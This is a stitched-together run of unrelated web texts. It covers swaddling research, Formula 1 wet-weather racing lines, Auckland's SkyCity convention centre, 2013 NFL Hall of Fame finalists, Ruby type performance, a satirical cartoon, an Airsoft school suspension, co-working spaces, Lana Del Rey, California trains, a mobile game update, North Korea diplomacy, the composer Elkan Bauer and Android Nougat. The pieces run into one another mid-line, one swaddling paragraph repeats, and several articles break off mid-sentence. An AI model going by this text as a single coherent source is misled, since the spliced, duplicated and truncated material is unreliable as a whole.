In the most important contemporary study on swaddling practices in maternity wards by Bystrova et al., it is shown that swaddling in the hours after birth is linked with a delayed recovery from post-natal weight loss. [52] A positive effect on the recovery is given by direct skin-to-skin contact between mother and baby in the hours after birth. [53] Skin-to-skin contact was shown to reduce the impact of the stress of being born, with babies maintaining their body temperature to a greater degree than those swaddled in a nursery. [54]
A positive effect on the recovery is given by direct skin-to-skin contact between mother and baby in the hours after birth. Skin-to-skin contact was shown to reduce the impact of the stress of being born, with babies maintaining their body temperature to a greater degree than those swaddled in a nursery. The recent results of an investigation of Bystrova et al. demonstrates that maternal behavior develops less under swaddling conditions, and reciprocity within the mother-child dyad is reduced.[55]
See also [ edit ]
Notes [ edit ]
References [ edit ]The 2016 Brazilian Grand Prix ended up being a wonderful race. It’ll be one of those events that I was proud to say I witnessed first-hand, one of those contests that I am sure will come to define not just the season but perhaps this generation and, in particular, its stand-out driver.
I’ve been fully signed up to the Max Verstappen fanclub for a good few years. I’ve never made any bones about it nor attempted to hide my genuine excitement over his talent and potential. But even I had to take a small step back from Brazil. Because while his drive was outstanding, it was also born of the simplicity of common sense. What was surprising to me was not so much what Max was doing, but more what his rivals were not.
It’s something I’ve become used to calling in races as a live report from the track, but when the heavens open Max Verstappen and, if we are to be fair, those of his age group such as Esteban Ocon, tend to prefer to use what I have come to refer to as the wet “karting” lines.
You see, when it rains, the irony is that the last place you really want to be is on the traditional racing line. In dry conditions the racing line is that which becomes “rubbered in,” and thus provides the greatest level of grip. However in the wet this very same line of rubber that provides grip in the dry becomes slippery. As such, the racing line is really the last place you want to be. Yes, it is the shortest route around the track, but in the wet the racing line can also be the trickiest path to tread.
The highest levels of grip in the wet both cornering and under braking can therefore be off the traditional line. Not only does taking these lines thus offer you a better shot at getting the car stopped or putting the power down, but also, as they are off the traditional line, a clearer scope of vision as you pull out of the spray of those ahead.
It really isn’t rocket science. Go to any kart track and watch any competitive kart meet in the rain and you will witness exactly those lines and precisely that technique. It is something you learn from your earliest days in racing. It is something you make use of throughout junior formulae. And yet it is an art that apparently most of the Formula 1 fraternity has forgotten.
In my opinion this has, in no small part, been down to the ease with which racing in the rain became over the past few decades. High levels of downforce combined with incredibly efficient rain tyres allowed Formula 1 drivers the ability to stay on the racing line in the wet with only a limited reduction in overall pace due to the grip afforded by these two crucial factors. Today however, those benefits do not exist. Formula 1 cars have but a fraction of the aerodynamic grip of their forerunners and Pirelli’s wet tyres are, to put it politely, less than exquisite.
Sebastian Vettel has labelled Pirelli’s Full Wet tyre the “safety car tyre,” as its only real use in his eyes is to run behind the pace car. It’s why so many drivers risked switching to the Intermediate in the hideous conditions on Sunday. The half-way house tyre provides almost the same level of grip at racing speeds as the Full Wet, which is in itself a damning state of affairs.
Of course the Full Wet is not helped by being run for so long behind the Safety Car. Temperatures and operating pressures drop at such low speeds, meaning the tyre can rarely do its job of dissipating water from the racing line and is then less than at its optimum when racing finally commences. Even at full speed and peak operating conditions, however, the Full Wet tyre seems woefully inadequate for the job at hand.
But, as we regular road users are constantly told, one must drive to the conditions. If the tyres available only offer a small amount of grip, then as the alleged best drivers in the world it is a Formula 1 racer’s job to get the maximum performance from those very same tyres. It is worthy of note that both red flags came about as a result of drivers running on the Full Wet, the first for debris strewn across the track from the wet-shod Raikkonen’s shunt and the second because it was believed that the Full Wets could not handle the weather as it was at the time, despite numerous protestations to the contrary from drivers who understood the mantra of racing to the conditions.
What can we draw from Verstappen’s fine racecraft in Brazil, then? Have Formula 1 drivers, as a collective, forgotten the very basics of driving in the wet? Have they become lazy, expecting to be able to simply forge the simplest, fastest route at all times and in all conditions? Are they so uncertain of their cars or their tyres that they dare not deviate from the racing line?
Or is Max Verstappen a straight up genius?
Again, it has gone relatively unnoticed that Esteban Ocon was taking the same lines as Verstappen. This practice frustrated many of those trying to pass his comparatively uncompetitive Manor, but showed again the benefit of attempting either the different or the sensible. For whichever argument you wish to take, the end result is the same.
I am, of course, doing both Verstappen, Ocon and those who attempted those lines and those moves a disservice. We all know that it isn’t as simple as just sticking your car on a different part of the track and suddenly finding grip, speed and a few seconds a lap. If you are going to drive your car off the racing line at 300kph, you need to have bravery, skill, confidence, and not a small amount of luck. You are going to hit standing water. You are not going to find that dry line. You are going to experience far more squeaky bum moments.
Which, I suppose, makes these stand-out drives all the more impressive. For as much as they are born of the application of one of the most basic of racing maxims, they still require a high level of risk and a huge amount of skill to pull off. Even more so to make it look so effortless.
Whether the majority of F1 drivers have become lazy, timid or simply forgetful, thank heavens there remain the extraordinary few who, in their racing adolescence, still remember and still attempt the basics.
AdvertisementsThe before and after of the proposed transformation of the Auckland CBD area surrounding Skycity.
Construction company Fletcher Construction will build SkyCity's International Convention Centre and hotel in Auckland.
SkyCity chief executive Nigel Morrison announced the $477 million contract with the Fletcher to build and complete the design of the 32,000 square metre convention centre, the five-star 300-room hotel on Hobson St, a retail laneway linking Nelson and Hobson streets and 1327 carparks underneath the convention centre.
The projects would create an estimated 1000 jobs during the 38-month build, plus about 1140 jobs once the convention centre and hotel opened for business.
SkyCity's new convention centre and hotel will be the largest in New Zealand.
READ MORE:
* Government greenlights convention centre
* Public gets no say over centre consents
The centre would contribute $700m to the Auckland economy.
Fletcher Construction also built the Sky Tower 18 years ago.
"Today is a watershed moment for SkyCity. This day has been years in the planning," Morrison said.
The latest indications were the company would spend $471m on the convention centre, plus $159m on the new hotel and $73m on the new laneway, airbridge, retail fit out and carparking.
The casino company was still considering financing options for the hotel.
Fletcher Building chief executive Mark Adamson said: "This is an amazing building and a huge opportunity".
SkyCity agreed with the Government to spend at least $430m constructing the convention centre in return for a range of gaming concessions, including the extension of its Auckland casino licence until 2048.
Work was expected to start by Christmas.
When completed, the convention centre will be the largest of its kind in the country, capable of hosting conventions of about 3000 people or one-off events of up to 4000 people.
The New Zealand International Convention centre exhibition hall will be five times larger than SkyCity's current exhibition hall which is the largest in the country.This just in: Tom Brady, Bill Belichick and "the Evil Empire" didn't make it to the Super Bowl.
OK, maybe you're up on the latest postseason news. But you might have missed the latest on the Pro Football Hall of Fame, where Brady will reside when it's all said and done. Ditto for Belichick.
Not all of the former players and contributors who were recently named to the Hall's list of finalists are that cut-and-dried. Take one of the headliners: Michael Strahan. Great player? No doubt. First-ballot Hall of Famer? We'll get to that.
To me, a player is either worthy of the Hall of Fame or not. Yet, over the years, a different distinction has been made that goes something like this: Yeah, he should be in the Hall of Fame... but not as a first-ballot guy.
With the Hall entering its 50th year, and a maximum of seven guys going in each year (five modern-day candidates plus two senior-committee entrants), the backlog of former All-Pros on the outside looking in continues to grow. Thus, for a player to get into Canton, he has to be a different caliber of Hall of Famer -- transcendent, if you will. So let's look at the first-year candidates, as well as some guys in the gold-plated backlog waiting for their names to be called.
The list of finalists, in alphabetical order: Larry Allen, Jerome Bettis, Tim Brown, Cris Carter, Curley Culp, Eddie DeBartolo Jr., Kevin Greene, Charles Haley, Art Modell, Jonathan Ogden, Bill Parcells, Andre Reed, Dave Robinson, Warren Sapp, Will Shields, Michael Strahan and Aeneas Williams.
Remember, just five modern-day nominees can be inducted, and that's the maximum, which makes this process quite difficult for the 46 voters.
Who I think will make it:
2013 Hall of Fame finalists SEE PHOTOS Take a look at photos of the 17 Hall of Fame finalists in 2013.
» Larry Allen
» Charles Haley
» Jonathan Ogden
» Bill Parcells
» Michael Strahan
And...
What my ballot would look like:
» Larry Allen
» Charles Haley
» Jonathan Ogden
» Bill Parcells
» Warren Sapp
The difference is that Strahan didn't get my vote... this year. He's a Hall of Fame player, but I would rank the first-year eligibles in this manner: 1a) Allen, 1b) Ogden, Sapp, then Strahan.
If Allen and Ogden don't make the Hall of Fame in their first year of eligibility, I'll be so shocked I'll run over myself with a tricycle.... I'll break Chotchkie's rule and wear just 14 pieces of flair.... I'll make myself watch the Val Kilmer "Batman" -- with director's commentary.
Allen played tackle and guard for the Dallas Cowboys on both sides of the line, and made the All-Decade Team for the 1990s and the 2000s. Oh, and he has a Super Bowl ring. Oh, and he was unanimously considered the strongest player of his time, if not the strongest ever. Oh, and he played 14 seasons.
Ogden was the dominant left tackle of his era. Though the Baltimore Ravens never had a great quarterback during his tenure, virtually every opponent referred to him as the best in the business. (Well, I'd be remiss not to mention the Seattle Seahawks' Walter Jones, who becomes eligible next year. Jones and Ogden were in a league of their own at left tackle.)
Done and done.
Bill Parcells through the years SEE PHOTOS Take a look back at Bill Parcell's career.
Why Parcells? Because unlike DeBartolo Jr. and Modell, there is no real downside to his candidacy as a "contributor," or non-player. He took four different teams to the playoffs -- two to the Super Bowl -- and won two rings with the New York Giants. For a guy who loves horse racing, he's got a track record. Let us not forget that he had the intuition to promote a 33-year-old Belichick to defensive coordinator of the Giants in 1985. They won it all in '86.
Regarding Haley, the 100.5 career sacks and multiple Pro Bowls are nice. The fact that he's the only dude walking the face of the Earth with five Super Bowl rings as a player is relevant. Former Cowboys head coach Jimmy Johnson considered him the missing piece to those great Dallas teams of the '90s. Enough already, voters.
Sapp and Strahan are where it gets difficult. Both have a Super Bowl ring and a Defensive Player of the Year award. Three things make Sapp different from Strahan:
1) Sapp has never been popular with the masses (particularly the media) and tends not to be as "commercial" as Strahan.
2) Sapp was mostly an interior defender, where it is much more difficult to post numbers and be noticed. Yet, he retired with 96.5 sacks.
3) Strahan's career took some time to get going and had some peaks and valleys, despite the fact that he was more productive for a longer period of time. Sapp was dominant early on and had a six-year run as a force from 1997 to 2002.
Bear in mind, it took pass rusher Derrick Thomas five years to get inducted, albeit posthumously. Strahan was solid against the run and still effervesces in the public eye. Will that be enough? You can choose up to five names, and I feel Haley and Parcells should already be in, thus pushing Strahan off my vote card.
Now that we got that out of the way, here's an extended look at the rest of the finalists, including the seniors. Feel free to provide your own thoughts: @Harrison_NFL is the dropbox.
Dicey propositions... this year
Jerome Bettis had eight 1,000-yard rushing seasons in his 13-year career. (David Drapkin/Associated Press)
Jerome Bettis: Popularity and tangible numbers are the two factors that work in Bettis' favor. He retired as a Super Bowl champion and, most importantly, with 13,662 yards rushing, which is sixth all-time.
Cris Carter: Carter is the modern-day Art Monk, in that people have screamed for his induction. He ranks fourth in career receptions (1,101) and touchdowns (130). While wide receiver is the toughest position to sell to the Hall voters right now, at least Carter is at the top of the list. Time to blow that horn a little louder, Ragnar.
Eddie DeBartolo Jr.: If success is the yardstick by which contributors -- particularly owners -- are measured, it's tough to deny Eddie D a place in Canton. DeBartolo Jr. and his father took over the San Francisco 49ers in 1977 and turned the league on its ear, winning four Super Bowls in the '80s and another in 1994. Legal issues that pushed him out of the league are the elephant in the room here. Sizeable elephant. Is it a wall of an elephant? Maybe not. Especially with his nephew Jed York carrying on the winning tradition, putting the 49ers and the family in the spotlight again with a sixth Super Bowl berth.
Art Modell: Another owner, like DeBartolo Jr. -- except without his crescendo of success in a short period of time. He was a key contributor on league committees and won both an NFL Championship (1964) and a Super Bowl (XXXV). But Cleveland '95 is like a lousy roommate that won't move out in some people's eyes.
Not in the cards for 2013... or for a long time
Tim Brown: Until Carter gets in, I think Brown and his 1,000-plus receptions sit out. With a maximum of five modern-era candidates able to receive a bust each year, we probably won't see Brown's handsome mug in bronze for a bit.
Kevin Greene played for the Rams, Steelers, Panthers and 49ers over 15 NFL seasons. (Chuck Burton/Associated Press)
Kevin Greene: Feared pass rusher and one of the zaniest guys to ever play in the NFL -- in a fun way. Greene was a Hall of Fame-caliber pass rusher. As an all-around player? Tough to say. Sapp and Strahan were more dominant and didn't bounce around the league as much. Fair or not, had Greene played in Pittsburgh for 10 years, the feeling here might be different. Someday.
Andre Reed: Read Brown's candidacy blurb. Same applies here. Reed was a Hall of Very Gooder who has an outside shot at Canton. But respectfully -- with names like Marvin Harrison, Terrell Owens and Randy Moss visible on the Hall horizon -- a voter will have to make an ironclad case for Reed's Hall candidacy, or else it won't be enough.
Will Shields: Wonderful player on some Kansas City teams that could ram the ball down opponents' throats -- that's Will Shields, folks. He was the key blocker on Chiefs clubs that brought us a dominant Priest Holmes and Larry Johnson at his best. Right for the Hall of Fame, wrong year (again).
Aeneas Williams: As I've said before, Williams will make it someday. There are just too many defensive players that have a better shot this year. (Ironically, none of them are defensive backs.)
Notes on the senior candidates
Both Dave Robinson and Curley Culp are deserving candidates. Per Hall rules, both can make it if they receive enough "yes" votes.
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Robinson was an athletic outside linebacker on the Green Bay Packers' championship teams of the 1960s, with his clutch play landing him a spot on the All-Decade Team. Robinson's signature moment was forcing Cowboys quarterback Don Meredith into a game-ending interception in the 1966 NFL Championship Game. You can see him now: He is one of the main interviewees in HBO's recent documentary, "Lombardi."
Because he was a Packer, Robinson probably has a better shot than Culp. But my vote would go to Culp because of the impact he had on pro football. Culp was the first modern-day nose tackle for Bum Phillips' Houston Oilers in the mid-to-late '70s. He played up in the center's grill during his early days in Kansas City, as well, which is a huge reason the Chiefs' defense dominated in 1969 en route to a win in Super Bowl IV -- a victory that proved the AFL was not inferior to the NFL. He was voted to the AFL All-Star team that season and went on to make five Pro Bowls after the merger.
Follow Elliot Harrison on Twitter @Harrison_NFL.Performance of basic Ruby types
Marek Kirejczyk Blocked Unblock Follow Following Oct 26, 2016
Modern computers are extremely fast machines, what leaves us — software engineers — with no excuses to write slow programs. One of the essentials for writing performant software is being conscious about performance of the basic operations. Let’s take a closer look at the performance characteristics of basic Ruby types: Integer, Array, Hash and String.
Numbers and basic arithmetic operations
Let’s start by looking at the performance of basic arithmetic operation. Below is a result from a simple Ruby benchmark performing 10M operations in the loop:
This benchmark was done on MacBook with 1.1GHz dual-core and 8GB of RAM (1866MHz LPDDR3).
The interpretation could go more or less like this: working on 10M additions takes under a second, while more composited arithmetic operations including 2 addition and 2 multiplications might be around 50% slower (not 400% as one might expects). There is no linear relationship between number of arithmetic operations and the time it takes. All in all, we’re talking about order of magnitude of 10M basic arithmetic operations per second on a modern laptop.
Array
Let’s take a look at expected asymptotic complexity of Array operations:
And here’s the benchmark for it:
Can you spot something odd here? It seems like the insert operation is almost as performant as random access, even thought we would expect it is much slower. How is it possible? Well, the answer is hidden behind “Dynamic Array” which is an Array with following characteristics:
Dynamic Array will double its capacity every time it lacks space to add an element. How many operations will it perform then? Take a look at the picture below:
Every time we double the size of an Array, we have to rewrite the whole Array, which means k operations for an Array of size k. Total number of assignment operations will be:
1 + 2 + 4 + 8 + 16 + … + n = 2n — 1.
So for n insert operations Ruby Array is doing only ~2*n assignments.
In practice rewriting Array is done by C memcpy operation, which calls low level memory controller operation. Therefore we can cheat on asymptotic complexity and get even more performance out of it.
Hash
Let’s take a look at the structure behind Hash in Ruby. Hash in Ruby is … hash algorithmic structure with following algorithmic time complexity characteristics:
No surprises here. Check out the benchmark for Hash. This time it’s only 1M operations (not 10M like in case of Array benchmark):
As you can see although Hash is much slower than Array, it is still a pretty fast beast.
One interesting thing about Hash in Ruby is that it preserves the order of elements put into it. It doesn’t change complexity of operations, but uses a little bit of extra memory.
String
Let’s take a look at the String performance. Once again we will start with the benchmark:
As you can see the N is much lower than for Array (100x) and Hash (10x). I put arithmetic and Array operation on top for comparison. Strings are surprisingly slow. As they are Array of chars one could argue that their performance should be similar to Array, but it’s not.
There are many learnings here:
Strings unlike Arrays don’t utilise Dynamic Array strategy when it comes to + operator. Concatenation operator allocates new String and copies the whole Array, which is very slow operation.
UTF-8 chars have various length in bytes, which makes basic operations like retrieving n-th element non-trivial.
Ruby String eval (i.e. “#{ }”) have even lower performance than + operator, probably due to parsing overhead.
Finally << operator is almost 200x faster for given case then + operator.
Note that String concatenation in other languages is much faster. For example JavaScript performance is better because JavaScript JIT uses Dynamic Array strategy for String operations optimisation. Ruby behavior is uncommon among programming languages.
Benchmark of concatenation in JavaScript
Those points have tremendous impact on how we should code parsers and renderers.
TL; DR:
Takeaways
There is no clear linear relationship between number of arithmetic operations (in general assembly instructions) and the time it takes to execute them.
Ruby Arrays inserts are surprisingly fast as Ruby Arrays are Dynamic Arrays
Hashes are what one could expect them to be
Hashes are one order of magnitude slower than Arrays
Hashes are ordered by chronological order of inserts
Strings concatenation is very slow (unlike in other languages e.g. JavaScript)
It is much faster to use << operator instead of + or String evaluation syntax “#{}”
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A 2003 law called the "protect act" makes it illegal "to share or even describe depictions of children in explicit sexual situations, even if the depictions are innacurate, the supposed children do not really exist and the intention is innocent. (Police Officer: Freeze! Step...away... from...the brain!) Another victory against imaginary hatred was won in the New York State legislature, where senators have passed a bill that would make it a felony "to etch, draw, paint or otherwise display a noose or an image of a noose. (Man 2: Whatcha in for?) (Man 3: I dreamed of a jpeg on a fake URL devoted to a fictional anti-Visigoth hate group.) Real criminals may be getting patroled and re-elected, but America is getting tough in the war against imaginary crime. ((Man 4: We're of one mind (if not a particularly stable one.) The reign of terror of the mind faeries and their nefariously ersatz crimes is over.) Naturally, those suspected of violating anti-imaginary crime laws will be granted the right to an imaginary attorney to represent them at their imaginary trial.(Man 2: Brad?) (Man 3: Shh. My "lawyer" is moving for a mistrial.) Warning! This cartoon would be illegal if it actually existed.A Massachusetts teen who was suspended from school after a photo of her and her boyfriend holding Airsoft rifles was posted on Facebook made an innocent mistake that the school has "blown out of proportion," her father said Wednesday.
Jailes Pereira, of Middleboro, Mass., told FoxNews.com that his daughter Jamie and her boyfriend Tito Velez, both 16, meant no harm when they posted the photo on Facebook late Friday.
“It was an innocent mistake,” Pereira said. “It was a totally innocent, stupid mistake that Tito made by putting the word ‘homecoming’ at the bottom of the photo and then posting it to Facebook. If he had not posted the word ‘homecoming,’ there would’ve been no problem. I understand [school officials’] take on it, but it was not intended with malice at all.”
Pereira said he’s headed to Bristol-Plymouth Regional Technical School in Taunton to meet with Principal Carolyn Pearson to discuss his daughter’s punishment. She and Velez are both suspended, but the length of those suspensions have yet to be determined, Pereira said.
[pullquote]
“I don’t think it’s the right solution,” he said of the suspensions. “A slap on the wrist, maybe a day-long suspension or a warning would’ve been the right thing.”
Airsoft, a sport similar to paintball, uses non-metallic pellets that are fired from replica guns that use compressed gas or a spring-driven piston to propel them. Advocates say the pellets won't cause serious injury if combatants wear proper clothing, which includes goggles, when playing. The guns, which closely resemble real firearms, are legal for use at all ages under federal law although regulation may differ by state and locality.
Massachusetts law forbids minors from buying the guns or possessing the in public place unless the minor is accompanied by an adult or has a sporting or hunting license and a permit from the local chief of police.
Superintendent Richard Gross said any punishment ultimately doled out to the students will be based on the disruption they caused at the school on Monday, when school officials first learned that the photograph was being discussed among students. The picture was posted hours after a Washington state teen shot five fellow students inside his high school before taking his own life.
“What other people and the children decide to call it is another thing,” Gross said of the reason for the suspension. “This is about the tumult created by their online activity.”
Gross acknowledged that the pair’s timing was particularly bad given the Washington incident, but said that was not the issue.
“The timing, really, I think, and their actions, given the nature of things, probably were not wise at all but the timing of things really has little to do with the adjudication of their discipline,” Gross told FoxNews.com. “The fact is they disrupted the school day.”
Velez, who could not be reached for comment early Wednesday, reportedly said he and his girlfriend simply wanted to “do something unique and different” instead of taking typical pre-dance photographs.
The photograph, which has since been removed from Velez’s Facebook profile, depicted the teens holding the Airsoft guns aimed downward while standing side-by-side in formal wear. A caption beneath the photograph read: “Homecoming 2014.” As of early Wednesday, Velez’s profile now featured a photograph of an assault weapon resting against a pumpkin.
The controversy is in stark contrast to a policy approved last week by a Nebraska school board to allow students to pose with guns in a “tasteful and appropriate” fashion in their senior portraits. Broken Bow Public Schools board members voted unanimously to allow graduating seniors the option of submitting photographs so long as the student has permission to reproduce the picture from the original photographer, he or she is wearing attire that complies with district standards and does not include drugs, alcohol or tobacco. The school has a rifle-shooting team, and Superintendent Mark Sievering told FoxNews.com that hunting is a “part of life in the rural community."
Pereira, meanwhile, insists his daughter and Velez did not intend to threaten or frighten anyone with the photograph. They were also unaware of the school shooting in Washington state just hours earlier, he insists.
“They’re great kids, they follow all the rules,” he told FoxNews.com. “This has been blown out of proportion.”Lisa Taylor, a former business executive who lives in Newport Beach, was experiencing the same problem that has frustrated so many other entrepreneurs who don’t have their own offices.
She would go to a coffee shop to work but couldn’t find a seat.
“The people who were sitting there taking up spaces were not there for the coffee but the Wi-Fi,” she recalled. “They couldn’t get up to use the bathroom because they were afraid they’d lose their seat.”
And it was a lousy place to work, she said: “It was a cold, loud, disruptive environment, and I thought, ‘I could build a better model.’ I just need to make it comfortable, like it’s their office, home and coffee shop all in one.”
That’s what Taylor did. She founded a new chain of co-working spaces in Costa Mesa that provide all the Wi-Fi, photocopiers, meeting rooms, desks and coffee a startup could want in a space that is colorful and collaborative.
The company, called CrashLabs, is not the first co-working space to come to Orange County, but it is the first home-grown one.
Tech Space, originally founded in New York, is one of a handful of co-working chains operating in Southern California. It runs “full-service,” “flexible office space” in Costa Mesa, Aliso Viejo, New York, Los Angeles and San Francisco.
BlankSpaces, started in 2008, is another chain operating in the Los Angeles area. New York-based We Work runs 30 locations globally, including one in Los Angeles.
Co-working has yet to become a household word, but it’s an idea born from the realities of the modern workplace. The Bureau of Labor Statistics estimates that by 2020, 40 percent of the U.S. work force, or 65 million Americans, will be freelancers, temporary workers, independent contractors and entrepreneurs.
Co-working spaces like CrashLabs cater to the untethered worker with a shared environment that lets individuals work independently but not alone.
A global phenomenon that began a decade ago, co-working is prominent in major urban areas like San Francisco, Boston and New York, where there are clusters of entrepreneurs in densely populated areas. Orange County has been slower to the game, analysts say, because much of it is so spread out.
At CrashLabs, members pay an annual flat fee of $25 to join and then pay by the hour, day, week or month to use its amenities. In addition to a kitchen and lockers, there are tables wired with outlets to plug in laptops, private meeting rooms with soundproof sliding glass doors, and walls coated in a magnetic paint that doubles as dry erase board to jot down ideas or make presentations.
“The whole space is movable, flexible – just like people’s schedules and lifestyles,” Taylor said.
Combining a place to crash with a lab environment that encourages cooperation, CrashLabs earlier this month soft
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At one time, Del Rey was Lizzy Grant, a girl with bleach blonde hair who loved coney island. She started in the industry marketed as a mainstream star. When that did not launch her music into the public eye, Del Rey mysteriously re-invented herself (or was perhaps mysteriously re-invented by record producers). Lizzy Grant became Lana Del Rey, a sultry brunette with an alternative persona, low voice, and significantly larger lips. This image change allowed Del Rey to soar to the top of the charts and finally take off as a singer. Del Rey herself is an example of the American dream. She was a girl looking to make it as a singer, and had to commodify and re-invent herself in order to do so.
Del Rey’s comment, “I wish I was already dead” is interesting in light of the iconic American entertainers who died young. James Dean, Elvis Presley, Marilyn Monroe and Buddy Holly are just a few American icons who are forever young in the public eye because of their early deaths. If she is branding herself as a darker side of the American dream, the comment puts Del Rey in the same conceptual category as these famous icons.
By Louise Webster
Sources:
New York Times
Fox News
Hipster RunoffCalifornia’s Antique Trains And What They Say About Demand for Transportation Alternatives
Last week I took the train from Oakland to Bakersfield. In Bakersfield, I transferred to a bus to get to Los Angeles.
Believe it or not, at eight hours, that’s the fastest Amtrak route between the two cities.
While the state has spent the past sixty or seventy years building freeways, its intercity trains have been utterly neglected. The fact that there’s no longer an overnight sleeper train between LA and San Francisco is testament to that. And the Coast Starlight, the only direct train service between LA and the Bay Area, runs once a day, takes an even more ridiculous twelve hours, and is frequently late.
Despite all this, my train was packed.
The orange, blue, and turquoise logo on the train car in the lead picture says a lot about demand for rail in California. That’s the logo of New Jersey Transit. There’s so much demand for transportation options that Amtrak is running antique hand-me-downs from New Jersey Transit to provide more seats.
My train used to be an Electric Multiple Unit (EMU) train called an ‘Arrow’ (EMU is the same classification of electric train that Caltrain is purchasing; electric/zero-emission self-propelled rail cars). These trains, which date back to 1968, originally ran on the Northeast Corridor between New York and Washington, where they hit 100 mph. So if the trains look dated, they are. There’s no electrification yet in California, obviously, and Amtrak pulls them with a diesel locomotive. Now the most they ever hit is 80 mph, and even that is rare.
This is what my train looked like when it was new:
To put that in perspective, here’s what an automobile looked like when the photo above was taken:
Yes, that’s the state of our trains in California. We’re running trains at considerably lower speeds than they ran when they were new, that were born in the age of rotary telephones, eight-track cassette tapes, and Valiant automobiles.
When I hear people complaining about the costs of building the high-speed rail system in California, I just shake my head. If an old rust bucket like the rail car I was in last week gets packed, what will happen when we finish a modern rail system that is quiet, has far more capacity, doesn’t shake, doesn’t share tracks with clunky freight trains, and travels at modern speeds–meaning around 200 mph?
I was thinking about that as I watched some high-speed rail construction go by out the window. In a few years, when it’s up and running, the age of auto dominance and short-haul flights between northern and southern California will be over.TouchArcade Rating:
Bullet hell shmup Phoenix II (Free) is a really fun game, and it has continued growing ever since it came out. To celebrate the game’s first anniversary, the developers will be releasing the 3.0 update on Thursday, July 27th, which will be adding plenty of new features to the game, although not all of them have been announced yet. The first new feature is an update to the game engine to support the 120 FPS of the new iPad Pros, and I can’t wait to see how a bullet hell game like Phoenix II looks at 120 FPS. The developers claim that the upgrade makes the controls more responsive and the action more fluid. We’ve been wondering whether game developers would take advantage of this technology, and I’m glad to see them starting to do so.
The update will also add support for Wide Color for iPhone 7 and the new iPad Pros, which should improve the game’s color scheme. In addition to these tech improvements, the game will also add gameplay changes, with a set of ultimate upgrades for all special abilities that will introduce twists to each special ability (rather than just increase stats). These new upgrades should give you new ways to play. There are more changes coming, so keep an eye out for more Phoenix II, and hop over to our iOS Games Discord Server if you want to chat about the game with like-minded individuals.It is not just the United States that wants the denuclearization of the Korean Peninsula, but the world, State Department spokeswoman Heather Nauert said Monday.
"Our issue is not with the people of North Korea," Nauert told Fox News' "Fox & Friends," while visiting the program she had hosted in the past as a Fox News correspondent.
"Our issue is with Kim Jong Un. It is not just the United States frankly. It is virtually every country around the world, a chorus of condemnation."
"Allies everywhere" are condemning the actions of North Korea, she said, including this weekend's news the nation had tested a hydrogen bomb, but the push will continue for diplomacy.
"We continue to push forward with this plan for diplomacy because you can't give that up," Nauert said. "That is always the preferred approach, to try to get them to come to the table. We pushed forward with that approach and pushed to try to remove the money that goes into North Korea that helps fund its illegal nuclear and ballistic weapons programs."
Nauert said she has sat in on many meetings between Secretary of State Rex Tillerson and his counterparts around the world, and he has told them he wants them to cut back on North Korean workers in their countries.
"Cut back on mission size, embassy size in your nation," Nauert said Tillerson has said. "Doing those things all across the world helps remove money, hold on from the Kim Jong Un regime. He uses money to fund these very expensive programs. We will continue to push forward with that."Elkan Bauer was an Austrian composer and friend and contemporary of Johann Strauss II born in Nikolsburg, on April 4, 1852.
Biography [ edit ]
Despite being unable to neither read nor write music, he whistled melodies which were then transcribed and performed in the outdoor kiosks of Vienna. After being taken prisoner by the Germans in 1942, the Nazis burned all his possessions including his house, his documents and his scores. He was killed in the concentration camp of Theresienstadt at the age of ninety, on September 20, 1942.[1] Miraculously, thanks to a cousin, who had fled with his family to England before the Kristallnacht, there survived two scores of his unpublished musical waltz ("Aeroplane waltz" and "Diana waltz"). The writer Elisa Springer, his maternal granddaughter, who wrote a book, Das Schweigen der Lebenden (The Silence of the Living), preserved these scores.[1]
References [ edit ]Android 7.0 Nougat is starting to roll out Nougat is on board the new LG V20 - seems like it will also be aboard two new HTC Nexus handsets this Autumn.
Announced at Google IO 2016, Android Nougat brings a bunch of further enhancements to the incredibly popular mobile OS including better performance for graphics and effects, reduced battery consumption and storage, background downloads of system updates, streamlined notifications so you can power through them faster, and updated emojis including 72 new ones (woweeeeee).
Read on for more on all these new Android Nougat features.
You can get it now if you have a newish Nexus device
There's now a Android Beta Program You need to own a Nexus 6, Nexus 9, Nexus 5X, Nexus 6P, Nexus Player or a Pixel C. If you sign up now, you'll immediately get Android 7.0 Nougat.
What about other handsets?
News on this is thin on the ground, but HTC has released this statement: "We're excited to receive final shipping Android 7.0 Nougat software from Google. We expect the update to begin rolling out to the unlocked HTC 10 in Q4, followed by unlocked HTC One M9, unlocked HTC One A9, and carrier versions of these devices."
Android Nougat customisation
Google says that Android has been leading the way with customisation since day one (homescreen widgets, anyone?) With Android Nougat, you'll have even more ways to make your phone your own, including:
Expanded emoji: There are now over 1,500 different emoji built into Android, including 72 new ones, so go ahead: express yourself
Quick Settings controls: Quick Settings gives you easy access to things like bluetooth, Wi-Fi and the all-important flashlight. With Android Nougat, you can actually control what tiles go where, and move 'em around to fit your needs
Multi-location support: Apps can tailor their content based on your locale settings. So if you speak multiple languages, for instance, then search engines can show results in each of those languages.
Android Nougat Assistant, Allo and Duo
During the product demo, we were shown Google Assistant looking up movie listings as well as processing phrases like "is that any good?" to find reviews or a trailer – the point being that it uses conversational cues. You can chat one-on-one with the assistant, or call on Google in a group chat with friends – so you can ask if your flight is delayed using natural language.
Keen to move beyond Google Now, Google also demonstrated Allo, a smart messaging app and Duo, a video calling app 'for everyone'. Allo and Duo will be available this summer on Android and iOS.
More at How Google is going beyond Google Now with Assistant, Allo and Duo
Android Nougat performance
Google says it has been able to rewrite some of the fundamental aspects of the new OS. For Android Nougat, we are focused on three key themes: performance, productivity and security. The first Developer Preview introduced improved software performance, faster app installs faster, and less storage taken up.
The second N Developer Preview included Vulkan, a new 3D rendering API to help game developers deliver high performance graphics on mobile devices.
Multi-window mode
Apple wants one of its tablets to replace your laptop and Google has similar plans - that's partly why Android Nougat includes a multi-window mode that lets you view apps side-by-side. Samsung has offered this via its own TouchWiz twist on Android for some time but now it's coming to the stock edition of the software as an officially approved feature.
Apps can be placed next to or on top of each other and the feature currently works with a long-press on the title bar of an app on the Overview screen (press the square symbol to see it). The size of each window can be adjusted using the black bar in the middle. Obviously this works best on devices with larger screens, including Android tablets.
You can also switch between your two most recently used apps by simply double tapping the Overview button.
Android VR Mode
Google says it has worked to bring mobile-quality VR to Android Nougat. Here's what it said in a blog post.
"We've worked at all levels of the Android stack in N–from how the operating system reads sensor data to how it sends pixels to the display–to make it especially built to provide high quality mobile VR experiences, with VR Mode in Android. There are a number of performance enhancements designed for developers, including single buffer rendering and access to an exclusive CPU core for VR apps.
"Within your apps, you can take advantage of smooth head-tracking and stereo notifications that work for VR. Most importantly, Android Nougat provides for very low latency graphics; in fact, motion-to-photon latency on Nexus 6P running Developer Preview 3 is
Notification groupings and replies
